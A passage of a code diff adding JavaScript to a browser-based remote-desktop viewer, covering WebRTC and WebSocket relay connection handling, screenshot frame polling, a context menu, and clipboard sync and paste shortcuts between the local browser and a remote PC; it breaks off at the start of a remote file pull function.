+ msg1._forge_bulk_u8 = new Uint8Array(u8);
1955
+ msg1.b64 = "";
1956
+ } else {
1957
+ msg1.b64 = forgeBulkRcBytesToB64(u8);
1958
+ }
1959
+ await processRelayInboundCore(msg1);
1960
+ return;
1961
+ }
1962
+
1963
+ if (rx.phase === "v2") {
1964
+ var rem = (Number(rx.hdr.byte_len) | 0) - rx.filled;
1965
+ if (u8.length <= 0 || u8.length > rem) {
1966
+ resetForgeBulkRcInbound();
1967
+ return;
1968
+ }
1969
+ if (rem > rx.chunkSz) {
1970
+ if (u8.length !== rx.chunkSz) {
1971
+ resetForgeBulkRcInbound();
1972
+ return;
1973
+ }
1974
+ } else if (u8.length !== rem) {
1975
+ resetForgeBulkRcInbound();
1976
+ return;
1977
+ }
1978
+ rx.buf.set(u8, rx.filled);
1979
+ rx.filled += u8.length;
1980
+ if (rx.filled === (Number(rx.hdr.byte_len) | 0)) {
1981
+ var msg2 = forgeBulkRcStripHdr(rx.hdr);
1982
+ var blTot = Number(rx.hdr.byte_len) | 0;
1983
+ var typ2 = String(msg2.type || "");
1984
+ if (
1985
+ (typ2 === "fs_screenshot_result" || typ2 === "fs_screenshot_sidecar_result") &&
1986
+ msg2.ok &&
1987
+ blTot > 0
1988
+ ) {
1989
+ msg2._forge_bulk_u8 = new Uint8Array(rx.buf);
1990
+ msg2.b64 = "";
1991
+ } else {
1992
+ msg2.b64 = forgeBulkRcBytesToB64(rx.buf);
1993
+ }
1994
+ resetForgeBulkRcInbound();
1995
+ await processRelayInboundCore(msg2);
1996
+ }
1997
+ return;
1998
+ }
1999
+
2000
+ resetForgeBulkRcInbound();
2001
+ } catch (eBkMsg) {
2002
+ resetForgeBulkRcInbound();
2003
+ }
2004
+ };
2005
+ }
2006
+ function teardownForgeRtcProbe() {
2007
+ forgeRtcRemoteDescDone = false;
2008
+ forgeRtcPendingRemoteCandidates.length = 0;
2009
+ forgeRtcDc = null;
2010
+ forgeRtcDcInput = null;
2011
+ forgeRtcDcBulk = null;
2012
+ resetForgeBulkRcInbound();
2013
+ try {
2014
+ if (forgeRtcPc) {
2015
+ forgeRtcPc.close();
2016
+ forgeRtcPc = null;
2017
+ }
2018
+ } catch (e) {}
2019
+ /** Allow a later reconnect or retry after agent ICE failure / unsupported agent status. */
2020
+ forgeRtcProbeStarted = false;
2021
+ }
2022
+ function scheduleForgeRtcReconnect() {
2023
+ if (!relayWebrtcSignaling || !ws || ws.readyState !== 1 || !authed) return;
2024
+ if (forgeRtcReconnectAttempts >= FORGE_RTC_MAX_RECONNECT) return;
2025
+ if (forgeRtcReconnectTimer) return;
2026
+ var delayMs = 2400 + forgeRtcReconnectAttempts * 800;
2027
+ forgeRtcReconnectTimer = setTimeout(function () {
2028
+ forgeRtcReconnectTimer = null;
2029
+ if (!relayWebrtcSignaling || !ws || ws.readyState !== 1 || !authed) return;
2030
+ if (forgeRtcReconnectAttempts >= FORGE_RTC_MAX_RECONNECT) return;
2031
+ forgeRtcReconnectAttempts++;
2032
+ if (forgeRtcProbeStarted) return;
2033
+ tryForgeRtcDirectProbe();
2034
+ }, delayMs);
2035
+ }
2036
+ function tryForgeRtcDirectProbe() {
2037
+ if (forgeRtcProbeStarted || !relayWebrtcSignaling) return;
2038
+ if (typeof RTCPeerConnection === "undefined") return;
2039
+ if (!ws || ws.readyState !== 1 || !authed) return;
2040
+ var minV = String(
2041
+ typeof FORGE_AGENT_WEBRTC_MIN_VERSION !== "undefined" ? FORGE_AGENT_WEBRTC_MIN_VERSION : ""
2042
+ ).trim();
2043
+ if (
2044
+ /^\d/.test(minV) &&
2045
+ sessionAgentVersion &&
2046
+ versionLt(sessionAgentVersion, minV)
2047
+ ) {
2048
+ return;
2049
+ }
2050
+ forgeRtcProbeStarted = true;
2051
+ forgeRtcRemoteDescDone = false;
2052
+ forgeRtcPendingRemoteCandidates.length = 0;
2053
+ forgeRtcDc = null;
2054
+ forgeRtcDcInput = null;
2055
+ forgeRtcDcBulk = null;
2056
+ resetForgeBulkRcInbound();
2057
+ const ice =
2058
+ Array.isArray(relayRtcIceServers) && relayRtcIceServers.length > 0
2059
+ ? relayRtcIceServers
2060
+ : [{ urls: "stun:stun.l.google.com:19302" }];
2061
+ try {
2062
+ try {
2063
+ forgeRtcPc = new RTCPeerConnection({
2064
+ iceServers: ice,
2065
+ iceTransportPolicy: "all",
2066
+ bundlePolicy: "max-bundle",
2067
+ rtcpMuxPolicy: "require",
2068
+ iceCandidatePoolSize: 10,
2069
+ });
2070
+ } catch (ePc) {
2071
+ try {
2072
+ forgeRtcPc = new RTCPeerConnection({
2073
+ iceServers: ice,
2074
+ iceTransportPolicy: "all",
2075
+ bundlePolicy: "max-bundle",
2076
+ rtcpMuxPolicy: "require",
2077
+ });
2078
+ } catch (ePc2) {
2079
+ forgeRtcPc = new RTCPeerConnection({ iceServers: ice });
2080
+ }
2081
+ }
2082
+ /** Reliable-unordered main channel (reduces head-of-line blocking vs strict ordering). */
2083
+ forgeRtcDc = forgeRtcPc.createDataChannel("forge-rc", { ordered: false });
2084
+ /**
2085
+ * Partial-reliable moves + wheel deltas (stale frames discarded fast). Clicks/keys stay on `forge-rc`.
2086
+ */
2087
+ forgeRtcDcInput = forgeRtcPc.createDataChannel("forge-rc-input", {
2088
+ ordered: false,
2089
+ maxRetransmits: 0,
2090
+ });
2091
+ forgeRtcDc.onopen = function () {
2092
+ try {
2093
+ setState("P2P channel active — lower latency input");
2094
+ } catch (e0) {}
2095
+ };
2096
+ forgeRtcDc.onmessage = async function (ev) {
2097
+ try {
2098
+ const parsed = JSON.parse(String(ev.data || ""));
2099
+ await processRelayInboundCore(parsed);
2100
+ } catch (e1) {}
2101
+ };
2102
+ forgeRtcDcInput.onmessage = async function (ev) {
2103
+ try {
2104
+ const parsed = JSON.parse(String(ev.data || ""));
2105
+ await processRelayInboundCore(parsed);
2106
+ } catch (e2) {}
2107
+ };
2108
+ attachForgeRtcDcBulk(forgeRtcPc);
2109
+ forgeRtcPc.onconnectionstatechange = function () {
2110
+ try {
2111
+ var st = forgeRtcPc && forgeRtcPc.connectionState;
2112
+ if (st === "failed") {
2113
+ teardownForgeRtcProbe();
2114
+ scheduleForgeRtcReconnect();
2115
+ }
2116
+ } catch (eCs) {}
2117
+ };
2118
+ forgeRtcPc.onicecandidate = function (ev) {
2119
+ if (!ws || ws.readyState !== 1) return;
2120
+ if (ev && ev.candidate) {
2121
+ try {
2122
+ ws.send(
2123
+ JSON.stringify({
2124
+ type: "forge_rtc_candidate",
2125
+ candidate: ev.candidate.candidate,
2126
+ sdpMid: ev.candidate.sdpMid,
2127
+ sdpMLineIndex: ev.candidate.sdpMLineIndex,
2128
+ })
2129
+ );
2130
+ } catch (e2) {}
2131
+ }
2132
+ };
2133
+ forgeRtcPc
2134
+ .createOffer()
2135
+ .then(function (offer) {
2136
+ return forgeRtcPc.setLocalDescription(offer).then(function () {
2137
+ ws.send(
2138
+ JSON.stringify({
2139
+ type: "forge_rtc_offer",
2140
+ sdp: offer.sdp,
2141
+ sdpType: offer.type,
2142
+ })
2143
+ );
2144
+ });
2145
+ })
2146
+ .catch(function () {
2147
+ teardownForgeRtcProbe();
2148
+ });
2149
+ } catch (e) {
2150
+ teardownForgeRtcProbe();
2151
+ }
2152
+ }
2153
+ function scheduleReconnect() {
2154
+ if (reconnectTimer) return;
2155
+ reconnectTimer = setTimeout(() => {
2156
+ reconnectTimer = null;
2157
+ if (ws || authed) return;
2158
+ if (!currentSessionId()) return;
2159
+ connect();
2160
+ }, 2500);
2161
+ }
2162
+ function clearAuthWatchdog() {
2163
+ if (authWatchdogTimer) {
2164
+ clearTimeout(authWatchdogTimer);
2165
+ authWatchdogTimer = null;
2166
+ }
2167
+ }
2168
+ function armAuthWatchdog() {
2169
+ clearAuthWatchdog();
2170
+ authWatchdogTimer = setTimeout(() => {
2171
+ if (!ws || ws.readyState !== 1 || authed) return;
2172
+ if (authChallengeSeen) return;
2173
+ setState("Handshake stalled — reconnecting...");
2174
+ if (!hasFrame) {
2175
+ showEmptyState(
2176
+ "Connected to relay, but the session handshake is stalled. Retrying automatically...",
2177
+ true
2178
+ );
2179
+ }
2180
+ disconnect();
2181
+ setTimeout(connect, 200);
2182
+ }, 6500);
2183
+ }
2184
+ function connect() {
2185
+ const sid = resolveSessionId();
2186
+ if (!sid) {
2187
+ setState("Session required");
2188
+ if (!hasFrame) {
2189
+ showEmptyState(
2190
+ "Add ?my_vps=… or ?session=… to this URL (same session id as file explorer). Browser prompt is not used.",
2191
+ true
2192
+ );
2193
+ }
2194
+ return;
2195
+ }
2196
+ void refreshSessionAgentMeta(sid);
2197
+ const url = wsBaseUrl().replace(/\/+$/, "") + "/ws/viewer/" + encodeURIComponent(sid);
2198
+ disconnect({ keepLastFrame: true });
2199
+ hasFrame = false;
2200
+ authChallengeSeen = false;
2201
+ setState("Connecting…");
2202
+ showEmptyState("Connecting to remote session...", false);
2203
+ ws = new WebSocket(url);
2204
+ ws.onopen = () => {
2205
+ setState("Connected — waiting auth");
2206
+ if (!hasFrame) showEmptyState("Connected. Waiting for auth challenge...", false);
2207
+ ws.send(JSON.stringify({ type: "get_info" }));
2208
+ armAuthWatchdog();
2209
+ };
2210
+ ws.onclose = () => {
2211
+ ws = null;
2212
+ authed = false;
2213
+ rcActionCaps = null;
2214
+ setState("Disconnected");
2215
+ stopShotLoop();
2216
+ clearAuthWatchdog();
2217
+ if (!hasFrame) showEmptyState("Disconnected. Reconnecting...", true);
2218
+ scheduleReconnect();
2219
+ };
2220
+ ws.onerror = () => {
2221
+ setState("Socket error");
2222
+ clearAuthWatchdog();
2223
+ if (!hasFrame) showEmptyState("Network/socket error while connecting to remote screen.", true);
2224
+ };
2225
+ ws.onmessage = async (ev) => {
2226
+ let msg = null;
2227
+ try { msg = JSON.parse(String(ev.data || "")); } catch { return; }
2228
+ const t = String(msg && msg.type || "");
2229
+ if (t === "forge_rtc_answer") {
2230
+ if (!forgeRtcPc) return;
2231
+ const sdp = String(msg.sdp || "");
2232
+ const typ = String(msg.sdpType || "answer");
2233
+ try {
2234
+ await forgeRtcPc.setRemoteDescription({ type: typ, sdp: sdp });
2235
+ forgeRtcRemoteDescDone = true;
2236
+ await flushForgeRtcRemoteCandidates();
2237
+ } catch (e) {}
2238
+ return;
2239
+ }
2240
+ if (t === "forge_rtc_agent_candidate") {
2241
+ if (!forgeRtcPc) return;
2242
+ const cand = String(msg.candidate || "").trim();
2243
+ if (!cand) return;
2244
+ const cinit = {
2245
+ candidate: cand,
2246
+ sdpMid: msg.sdpMid != null ? String(msg.sdpMid) : null,
2247
+ sdpMLineIndex: Number.isFinite(Number(msg.sdpMLineIndex)) ? Number(msg.sdpMLineIndex) : null,
2248
+ };
2249
+ try {
2250
+ if (!forgeRtcRemoteDescDone) {
2251
+ forgeRtcPendingRemoteCandidates.push(cinit);
2252
+ } else {
2253
+ await forgeRtcPc.addIceCandidate(cinit);
2254
+ }
2255
+ } catch (e) {}
2256
+ return;
2257
+ }
2258
+ await processRelayInboundCore(msg);
2259
+ };
2260
+ }
2261
+ function rcPreferNativeContextMenu(ev) {
2262
+ const t = ev && ev.target;
2263
+ if (!t || typeof t.closest !== "function") return true;
2264
+ if (t.closest("#rc-context-menu")) return true;
2265
+ if (authModal && authModal.classList.contains("open") && authModal.contains(t)) return true;
2266
+ const tag = (t.tagName || "").toUpperCase();
2267
+ if (tag === "INPUT" || tag === "TEXTAREA" || tag === "SELECT") return true;
2268
+ if (t.isContentEditable) return true;
2269
+ if (t.closest("#filePanel")) return true;
2270
+ return false;
2271
+ }
2272
+ function refreshRcContextMenuAnchorAction() {
2273
+ if (!rcCtxRightHere) return;
2274
+ rcCtxRightHere.disabled = !writeEnabled || !hasFrame || !rcMenuAnchorPx;
2275
+ }
2276
+ function rcHideContextMenu() {
2277
+ if (!rcCtxMenu) return;
2278
+ rcCtxMenu.classList.add("hidden");
2279
+ rcCtxMenu.setAttribute("aria-hidden", "true");
2280
+ rcMenuAnchorPx = null;
2281
+ }
2282
+ function rcShowContextMenu(clientX, clientY, evForAnchor) {
2283
+ if (!rcCtxMenu) return;
2284
+ rcMenuAnchorPx = evForAnchor ? imgPoint(evForAnchor) : null;
2285
+ refreshRcContextMenuAnchorAction();
2286
+ rcCtxMenu.classList.remove("hidden");
2287
+ rcCtxMenu.setAttribute("aria-hidden", "false");
2288
+ const pad = 4;
2289
+ const vw = Math.max(8, Math.floor(window.innerWidth || document.documentElement.clientWidth || 0));
2290
+ const vh = Math.max(8, Math.floor(window.innerHeight || document.documentElement.clientHeight || 0));
2291
+ const mw = rcCtxMenu.offsetWidth || 260;
2292
+ const mh = rcCtxMenu.offsetHeight || 200;
2293
+ let left = clientX;
2294
+ let top = clientY;
2295
+ if (left + mw + pad > vw) left = vw - mw - pad;
2296
+ if (top + mh + pad > vh) top = vh - mh - pad;
2297
+ if (left < pad) left = pad;
2298
+ if (top < pad) top = pad;
2299
+ rcCtxMenu.style.left = left + "px";
2300
+ rcCtxMenu.style.top = top + "px";
2301
+ try {
2302
+ rcCtxMenu.focus({ preventScroll: true });
2303
+ } catch {
2304
+ try {
2305
+ rcCtxMenu.focus();
2306
+ } catch {
2307
+ /* ignore */
2308
+ }
2309
+ }
2310
+ }
2311
+ function disconnect(opts) {
2312
+ rcHideContextMenu();
2313
+ const keepLastFrame = !!(opts && opts.keepLastFrame);
2314
+ if (keepLastFrame) {
2315
+ rcDecodeGeneration += 1;
2316
+ rcPendingShot = null;
2317
+ rcDecodeRunning = false;
2318
+ rcDecodeWorkerInflight = null;
2319
+ } else {
2320
+ rcTeardownScreenLayers();
2321
+ }
2322
+ if (forgeRtcReconnectTimer) {
2323
+ clearTimeout(forgeRtcReconnectTimer);
2324
+ forgeRtcReconnectTimer = null;
2325
+ }
2326
+ forgeRtcReconnectAttempts = 0;
2327
+ stopShotLoop();
2328
+ teardownForgeRtcProbe();
2329
+ forgeRtcProbeStarted = false;
2330
+ relayWebrtcSignaling = false;
2331
+ relayRtcIceServers = null;
2332
+ if (reconnectTimer) { clearTimeout(reconnectTimer); reconnectTimer = null; }
2333
+ clearAuthWatchdog();
2334
+ if (ws) { try { ws.close(); } catch {} ws = null; }
2335
+ authed = false;
2336
+ inflightShot = false;
2337
+ lastScreenshotMainRequestId = "";
2338
+ try {
2339
+ if (lastCameraBlobUrl) {
2340
+ URL.revokeObjectURL(lastCameraBlobUrl);
2341
+ lastCameraBlobUrl = "";
2342
+ }
2343
+ } catch {}
2344
+ dragActive = false;
2345
+ pointerDown = false;
2346
+ pointerButton = "left";
2347
+ pointerDownPoint = null;
2348
+ disablePressLifecycle = false;
2349
+ lastClickAt = 0;
2350
+ lastClickPoint = null;
2351
+ lastClickButton = "left";
2352
+ if (moveRaf) {
2353
+ cancelAnimationFrame(moveRaf);
2354
+ moveRaf = 0;
2355
+ }
2356
+ pendingMovePoint = null;
2357
+ lastMoveSentAt = 0;
2358
+ if (resizeShotTimer) {
2359
+ clearTimeout(resizeShotTimer);
2360
+ resizeShotTimer = null;
2361
+ }
2362
+ stopRemoteClipboardPoll();
2363
+ remoteClipboardFetchInFlight = false;
2364
+ pendingReqs.clear();
2365
+ sessionAgentVersion = "";
2366
+ sessionAgentOs = "";
2367
+ writeEnabled = false;
2368
+ cameraAvailable = null;
2369
+ cameraUnavailableWarned = false;
2370
+ legacyShotMode = false;
2371
+ shotFailureStreak = 0;
2372
+ fpsFrames = 0;
2373
+ fpsLastAt = Date.now();
2374
+ fpsCurrent = 0;
2375
+ fpsLowStreak = 0;
2376
+ fpsHighStreak = 0;
2377
+ lastFrameBytes = 0;
2378
+ lastCaptureMs = 0;
2379
+ streamStatsEl.textContent = "Q: - · Tier: - · Frame: - · Capture: -";
2380
+ fpsStateEl.textContent = "FPS: 0.0";
2381
+ if (rcCtxMode) {
2382
+ rcCtxMode.textContent = "View Only";
2383
+ rcCtxMode.className = "rc-ctx-item";
2384
+ }
2385
+ modeStateEl.textContent = "Mode: View Only";
2386
+ rcSetWriteEnabledClass(false);
2387
+ refreshWriteModeEligibilityUi();
2388
+ if (!hasFrame) showEmptyState("Disconnected from remote session.", true);
2389
+ updateWriteControls();
2390
+ }
2391
+ function clearInteractionScreenshotKick() {
2392
+ if (interactionScreenshotKickTimer) {
2393
+ clearTimeout(interactionScreenshotKickTimer);
2394
+ interactionScreenshotKickTimer = null;
2395
+ }
2396
+ }
2397
+ /** Pull next frame sooner after clicks/keys so UI feedback matches OS without spamming moves/wheel. */
2398
+ function kickScreenshotAfterDiscreteInput() {
2399
+ if (!viewerAgentTransportReady() || !authed || !hasFrame) return;
2400
+ if (inflightShot) return;
2401
+ clearInteractionScreenshotKick();
2402
+ interactionScreenshotKickTimer = setTimeout(() => {
2403
+ interactionScreenshotKickTimer = null;
2404
+ if (!viewerAgentTransportReady() || !authed || inflightShot) return;
2405
+ scheduleNextShot(6);
2406
+ }, 14);
2407
+ }
2408
+ function stopShotLoop() {
2409
+ if (screenshotTimer) { clearTimeout(screenshotTimer); screenshotTimer = null; }
2410
+ clearShotTimeout();
2411
+ clearInteractionScreenshotKick();
2412
+ if (streamStatsRaf) {
2413
+ try {
2414
+ cancelAnimationFrame(streamStatsRaf);
2415
+ } catch (eSr) {}
2416
+ streamStatsRaf = 0;
2417
+ }
2418
+ }
2419
+ /** Slightly lower floor when `forge-bulk` carries frames — avoids starving relay-only agents. */
2420
+ function screenshotRescheduleFloorMs() {
2421
+ try {
2422
+ if (forgeRtcDcBulk && forgeRtcDcBulk.readyState === "open") return 5;
2423
+ } catch (eFl) {}
2424
+ return 12;
2425
+ }
2426
+ function scheduleNextShot(delayMs) {
2427
+ if (screenshotTimer) {
2428
+ clearTimeout(screenshotTimer);
2429
+ screenshotTimer = null;
2430
+ }
2431
+ screenshotTimer = setTimeout(() => {
2432
+ screenshotTimer = null;
2433
+ requestScreenshot();
2434
+ }, Math.max(screenshotRescheduleFloorMs(), Number(delayMs) || 120));
2435
+ }
2436
+ function startShotLoop() {
2437
+ stopShotLoop();
2438
+ scheduleNextShot(14);
2439
+ }
2440
+ function requestScreenshot() {
2441
+ if (!viewerAgentTransportReady() || !authed) return;
2442
+ if (inflightShot) return;
2443
+ inflightShot = true;
2444
+ lastShotStartedAt = Date.now();
2445
+ const tuning = currentStreamTuning();
2446
+ const prof = tuning[Math.max(0, Math.min(tuning.length - 1, streamTier))];
2447
+ if (!hasFrame) showEmptyState("Requesting screenshot frame...", false);
2448
+ const payload = {
2449
+ type: "fs_screenshot",
2450
+ request_id: "shot_" + (++reqSeq),
2451
+ };
2452
+ // Older agents may reject modern screenshot tuning fields; auto-fallback below.
2453
+ if (!legacyShotMode) {
2454
+ payload.stream_profile = "remote_stream";
2455
+ payload.max_bytes = prof.maxBytes;
2456
+ payload.max_width = prof.maxWidth;
2457
+ payload.include_camera = cameraOverlayEnabled;
2458
+ }
2459
+ sendAgentPayload(payload);
2460
+ armShotTimeout();
2461
+ }
2462
+ try {
2463
+ document.addEventListener("visibilitychange", function () {
2464
+ try {
2465
+ if (typeof document !== "undefined" && document.hidden) return;
2466
+ if (!authed || !viewerAgentTransportReady()) return;
2467
+ scheduleNextShot(14);
2468
+ } catch (eVis) {}
2469
+ });
2470
+ } catch (eVisHook) {}
2471
+ function wsRequest(type, payload) {
2472
+ if (!viewerAgentTransportReady() || !authed) return Promise.resolve({ ok: false, error: "not connected" });
2473
+ const rid = type + "_" + (++reqSeq);
2474
+ return new Promise((resolve) => {
2475
+ pendingReqs.set(rid, resolve);
2476
+ sendAgentPayload(Object.assign({ type, request_id: rid }, payload || {}));
2477
+ setTimeout(() => {
2478
+ if (!pendingReqs.has(rid)) return;
2479
+ pendingReqs.delete(rid);
2480
+ resolve({ ok: false, error: "request timeout" });
2481
+ }, 8000);
2482
+ });
2483
+ }
2484
+ async function pullClipboardToLocal() {
2485
+ if (!writeEnabled) { setState("Enable Write Only mode for clipboard"); return; }
2486
+ const r = await wsRequest("rc_clipboard_get");
2487
+ if (!r || !r.ok) { setState("Clipboard pull failed"); return; }
2488
+ const text = String(r.text || "");
2489
+ remoteClipboardCache = text;
2490
+ remoteClipboardCacheAt = Date.now();
2491
+ const copied = copyTextToLocalClipboard(text);
2492
+ setState(copied ? "Clipboard copied from PC to local" : "Clipboard write blocked by browser");
2493
+ }
2494
+ function copyTextToLocalClipboard(text) {
2495
+ const t = String(text || "");
2496
+ if (!t) return false;
2497
+ try {
2498
+ if (navigator.clipboard && typeof navigator.clipboard.writeText === "function") {
2499
+ // Fire-and-forget write attempt; fallback copy below still runs if browser blocks.
2500
+ navigator.clipboard.writeText(t).catch(() => {});
2501
+ }
2502
+ } catch {
2503
+ /* skip */
2504
+ }
2505
+ // No popup fallback: use hidden textarea + execCommand when Clipboard API is blocked.
2506
+ const ta = document.createElement("textarea");
2507
+ ta.value = t;
2508
+ ta.setAttribute("readonly", "readonly");
2509
+ ta.style.position = "fixed";
2510
+ ta.style.opacity = "0";
2511
+ ta.style.pointerEvents = "none";
2512
+ ta.style.left = "-9999px";
2513
+ document.body.appendChild(ta);
2514
+ ta.focus();
2515
+ ta.select();
2516
+ let copied = false;
2517
+ try {
2518
+ copied = Boolean(document.execCommand && document.execCommand("copy"));
2519
+ } catch {
2520
+ copied = false;
2521
+ } finally {
2522
+ try { document.body.removeChild(ta); } catch {}
2523
+ }
2524
+ return copied;
2525
+ }
2526
+ function armPasteCaptureMode(hintText) {
2527
+ pendingPasteShortcutAt = Date.now();
2528
+ lastPasteEventAt = 0;
2529
+ try {
2530
+ pasteCaptureEl.value = "";
2531
+ pasteCaptureEl.focus();
2532
+ pasteCaptureEl.select();
2533
+ } catch {
2534
+ /* ignore */
2535
+ }
2536
+ setState(String(hintText || "Press Ctrl/Cmd+V once to send local clipboard to PC"));
2537
+ }
2538
+ function beginPasteIntent() {
2539
+ pasteIntentSeq += 1;
2540
+ activePasteIntentId = pasteIntentSeq;
2541
+ activePasteIntentConsumed = false;
2542
+ activePasteIntentStartedAt = Date.now();
2543
+ return activePasteIntentId;
2544
+ }
2545
+ function isPasteIntentStale(intentId) {
2546
+ if (!intentId) return true;
2547
+ if (intentId !== activePasteIntentId) return true;
2548
+ const age = Date.now() - activePasteIntentStartedAt;
2549
+ return age > 1800;
2550
+ }
2551
+ function consumePasteIntent(intentId) {
2552
+ if (isPasteIntentStale(intentId)) return false;
2553
+ if (activePasteIntentConsumed) return false;
2554
+ activePasteIntentConsumed = true;
2555
+ return true;
2556
+ }
2557
+ function shouldSkipDuplicatePasteDispatch(text) {
2558
+ const now = Date.now();
2559
+ const sig = String(text || "");
2560
+ if (!sig) return false;
2561
+ if (sig === lastPasteDispatchSig && (now - lastPasteDispatchAt) < 1200) {
2562
+ return true;
2563
+ }
2564
+ lastPasteDispatchSig = sig;
2565
+ lastPasteDispatchAt = now;
2566
+ return false;
2567
+ }
2568
+ function shouldSkipDuplicateBrowserPasteEvent(text) {
2569
+ const now = Date.now();
2570
+ const sig = String(text || "");
2571
+ if (!sig) return false;
2572
+ if (sig === lastBrowserPasteSig && (now - lastBrowserPasteAt) < 1200) {
2573
+ return true;
2574
+ }
2575
+ lastBrowserPasteSig = sig;
2576
+ lastBrowserPasteAt = now;
2577
+ return false;
2578
+ }
2579
+ async function pushLocalClipboardToRemote(options) {
2580
+ if (!writeEnabled) { setState("Enable Write Only mode for clipboard"); return; }
2581
+ const opts = options && typeof options === "object" ? options : {};
2582
+ const intentId = Number.isFinite(Number(opts.intentId)) ? Number(opts.intentId) : 0;
2583
+ let text = "";
2584
+ try {
2585
+ if (!navigator.clipboard || typeof navigator.clipboard.readText !== "function") throw new Error("clipboard api unavailable");
2586
+ text = await navigator.clipboard.readText();
2587
+ } catch {
2588
+ if (!opts.silentReadFailure) {
2589
+ armPasteCaptureMode("Direct clipboard access unavailable. Press Ctrl/Cmd+V once to continue");
2590
+ }
2591
+ return { ok: false, reason: "clipboard_read_unavailable" };
2592
+ }
2593
+ if (!text) {
2594
+ setState("Local clipboard is empty");
2595
+ return { ok: false, reason: "empty" };
2596
+ }
2597
+ await pushClipboardTextToRemote(text, true, intentId || undefined);
2598
+ return { ok: true };
2599
+ }
2600
+ async function sendRemoteShortcut(key, mods) {
2601
+ const k = String(key || "").trim().toLowerCase();
2602
+ if (!k) return { ok: false, error: "shortcut key required" };
2603
+ return wsRequest("rc_input", {
2604
+ action: "key",
2605
+ key: k,
2606
+ ctrl: Boolean(mods && mods.ctrl),
2607
+ alt: Boolean(mods && mods.alt),
2608
+ shift: Boolean(mods && mods.shift),
2609
+ meta: false,
2610
+ });
2611
+ }
2612
+ async function sendRemoteShortcutWithRetry(key, mods, attempts, delayMs) {
2613
+ const n = Math.max(1, Number.isFinite(Number(attempts)) ? Math.floor(Number(attempts)) : 1);
2614
+ const delay = Math.max(0, Number.isFinite(Number(delayMs)) ? Math.floor(Number(delayMs)) : 0);
2615
+ let last = null;
2616
+ for (let i = 0; i < n; i++) {
2617
+ last = await sendRemoteShortcut(key, mods);
2618
+ if (last && last.ok) return last;
2619
+ if (i < n - 1 && delay > 0) {
2620
+ await new Promise((r) => setTimeout(r, delay));
2621
+ }
2622
+ }
2623
+ return last || { ok: false, error: "shortcut failed" };
2624
+ }
2625
+ async function sendRemoteCopyShortcut() {
2626
+ const primary = await sendRemoteShortcutWithRetry("c", { ctrl: true }, 4, 120);
2627
+ if (primary && primary.ok) return primary;
2628
+ return sendRemoteShortcutWithRetry("insert", { ctrl: true }, 4, 120);
2629
+ }
2630
+ async function sendRemotePasteShortcut() {
2631
+ const primary = await sendRemoteShortcutWithRetry("v", { ctrl: true }, 1, 120);
2632
+ if (primary && primary.ok) return primary;
2633
+ // Avoid accidental double-paste when primary may have succeeded remotely
2634
+ // but ACK was delayed/lost (timeout path). Only try Shift+Insert when
2635
+ // Ctrl+V is explicitly unsupported by the agent keyboard mapper.
2636
+ const err = String((primary && primary.error) || "").toLowerCase();
2637
+ if (err.includes("unsupported key token")) {
2638
+ return sendRemoteShortcutWithRetry("insert", { shift: true }, 1, 120);
2639
+ }
2640
+ return primary || { ok: false, error: "paste shortcut failed" };
2641
+ }
2642
+ async function pushClipboardTextToRemote(text, triggerPaste, intentId) {
2643
+ if (!writeEnabled) return;
2644
+ const t = String(text || "");
2645
+ if (!t) return;
2646
+ if (triggerPaste && shouldSkipDuplicatePasteDispatch(t)) return;
2647
+ if (triggerPaste && intentId) {
2648
+ if (!consumePasteIntent(intentId)) return;
2649
+ }
2650
+ if (triggerPaste && remotePasteDispatchInFlight) {
2651
+ return;
2652
+ }
2653
+ if (triggerPaste) {
2654
+ remotePasteDispatchInFlight = true;
2655
+ }
2656
+ try {
2657
+ if (triggerPaste) {
2658
+ const now = Date.now();
2659
+ if (lastRemotePasteText === t && (now - lastRemotePasteTriggerAt) < 1200) {
2660
+ setState("Clipboard sent from local to PC");
2661
+ return;
2662
+ }
2663
+ lastRemotePasteText = t;
2664
+ lastRemotePasteTriggerAt = now;
2665
+ }
2666
+ const r = await wsRequest("rc_clipboard_set", { text: t });
2667
+ if (!r || !r.ok) { setState("Clipboard push failed"); return; }
2668
+ if (triggerPaste) {
2669
+ await new Promise((r2) => setTimeout(r2, 80));
2670
+ const k = await sendRemotePasteShortcut();
2671
+ if (!k || !k.ok) {
2672
+ setState("Clipboard sent to PC (paste shortcut failed)");
2673
+ return;
2674
+ }
2675
+ }
2676
+ setState("Clipboard sent from local to PC");
2677
+ } finally {
2678
+ if (triggerPaste) {
2679
+ remotePasteDispatchInFlight = false;
2680
+ }
2681
+ }
2682
+ }
2683
+ async function triggerRemoteCopyToLocal() {
2684
+ if (!writeEnabled) return;
2685
+ const now = Date.now();
2686
+ // Some browsers can fire both keydown and copy/cut events for a single
2687
+ // user action. Debounce copy-trigger entry to keep one remote copy cycle.
2688
+ if (now - lastRemoteCopyTriggerAt < 550) return;
2689
+ lastRemoteCopyTriggerAt = now;
2690
+ if (remoteClipboardBusy && (Date.now() - remoteClipboardBusyAt) < 2200) return;
2691
+ remoteClipboardBusy = true;
2692
+ remoteClipboardBusyAt = Date.now();
2693
+ try {
2694
+ if (remoteClipboardCache && (Date.now() - remoteClipboardCacheAt) < 15_000) {
2695
+ const copied = copyTextToLocalClipboard(remoteClipboardCache);
2696
+ if (copied) setState("Clipboard copied from PC to local");
2697
+ }
2698
+ const r = await sendRemoteCopyShortcut();
2699
+ if (!r || !r.ok) {
2700
+ setState("Remote Ctrl+C failed");
2701
+ return;
2702
+ }
2703
+ for (let i = 0; i < 15; i++) {
2704
+ await new Promise((rr) => setTimeout(rr, 180));
2705
+ await refreshRemoteClipboardCache();
2706
+ if (remoteClipboardCache && (Date.now() - remoteClipboardCacheAt) < 3_000) {
2707
+ const copied = copyTextToLocalClipboard(remoteClipboardCache);
2708
+ setState(copied ? "Clipboard copied from PC to local" : "Clipboard write blocked by browser");
2709
+ return;
2710
+ }
2711
+ }
2712
+ await pullClipboardToLocal();
2713
+ } finally {
2714
+ remoteClipboardBusy = false;
2715
+ remoteClipboardBusyAt = 0;
2716
+ }
2717
+ }
2718
+ function isModifierOnlyKey(k) {
2719
+ const key = String(k || "").toLowerCase();
2720
+ return key === "control" || key === "shift" || key === "alt" || key === "meta";
2721
+ }
2722
+ function isTypingTarget(el) {
2723
+ if (!el) return false;
2724
+ if (el === pasteCaptureEl) return false;
2725
+ const tag = String(el.tagName || "").toUpperCase();
2726
+ if (tag === "INPUT" || tag === "TEXTAREA") return true;
2727
+ if (el.isContentEditable) return true;
2728
+ return false;
2729
+ }
2730
+ async function pullRemoteFileToLocal(remotePath) {
2731
+ const p = String(remotePath || "").trim();
2732
+ if (!p) return { ok: false, error: "remote path required" };
2733
